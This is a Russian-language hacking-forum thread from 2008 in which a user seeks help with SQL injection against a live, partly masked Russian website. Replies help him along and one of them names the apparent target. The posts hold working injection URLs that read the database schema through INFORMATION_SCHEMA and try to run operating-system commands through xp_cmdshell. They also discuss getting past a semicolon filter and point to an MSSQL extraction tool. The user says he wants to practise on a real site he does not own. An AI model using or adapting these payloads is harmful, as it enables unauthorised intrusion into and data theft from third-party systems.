ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Mssql не могу понять
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Mssql не могу понять
  #1  
Старый 25.03.2008, 21:15
Аватар для Grema
Grema
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
Провел на форуме:
1050637

Репутация: 27
По умолчанию Mssql не могу понять
Код:
http://***.***.ru/?id=1%20or%201=(select%20TOP%201%20COLUMN_NAME%20FROM%20INFORMATION_SCHEMA.COLUMNS%20where%20TABLE_NAME='henna')--
ошибка: message: Invalid column name 'henna'. (severity 16)
че так плохо?
 
Ответить с цитированием

  #2  
Старый 25.03.2008, 21:38
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию
заэнкодь henna в чар
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #3  
Старый 26.03.2008, 00:50
Аватар для Grema
Grema
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
Провел на форуме:
1050637

Репутация: 27
По умолчанию
заработала, спс.

вот теперь другое интересует
Код:
http://***.***.ru/?id=1;exec%20master..xp_cmdshell%20'dir%20c:\'--
Conversion failed when converting the varchar value '1exec master..xp_cmdshell dir c:' to data type int. (severity 16)

Incorrect syntax near 'xec'.

он ; вообще невидит, фильтрует походу, чето можно сделать?


еще интересно как пользоваться http://www.hack-shop.org.ru/tools-mssql-exractor
видел тут видео было, но ссылка здохла( обьясните плз!
Последний раз редактировалось Grema; 26.03.2008 в 03:23..
 
Ответить с цитированием

  #4  
Старый 26.03.2008, 12:15
Аватар для Basurman
Basurman
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
Провел на форуме:
5636868

Репутация: 849
Отправить сообщение для Basurman с помощью ICQ
По умолчанию
info.l2r.ru?
там ни одной таблицы с рег данными нет
 
Ответить с цитированием

  #5  
Старый 26.03.2008, 19:18
Аватар для Grema
Grema
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
Провел на форуме:
1050637

Репутация: 27
По умолчанию
та я попрактиковаться хочу с MSSQL, никогда не ломал! поэтому и интересуюсь.

а сайт ты правильно подметил) как нашёл?
+ если ; как то сделать то можно заюзать xp_cmdshell или еще что-то.
подскажите как
 
Ответить с цитированием

  #6  
Старый 26.03.2008, 22:51
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
Там, что база запущена под sa?
Сомневаюсь , а в остальных случаях 99% на эти команды у тебя прав не хватит
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Не могу понять... Dober'man Windows 4 16.02.2008 08:38
Вот не могу понять spy-profi PHP, PERL, MySQL, JavaScript 3 13.02.2008 13:44
НЕ могу понять bxN5 PHP, PERL, MySQL, JavaScript 15 15.02.2006 18:32
не могу понять как работать с прогой Proxy 4 ZzSnakezZ Чаты 0 16.02.2005 13:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ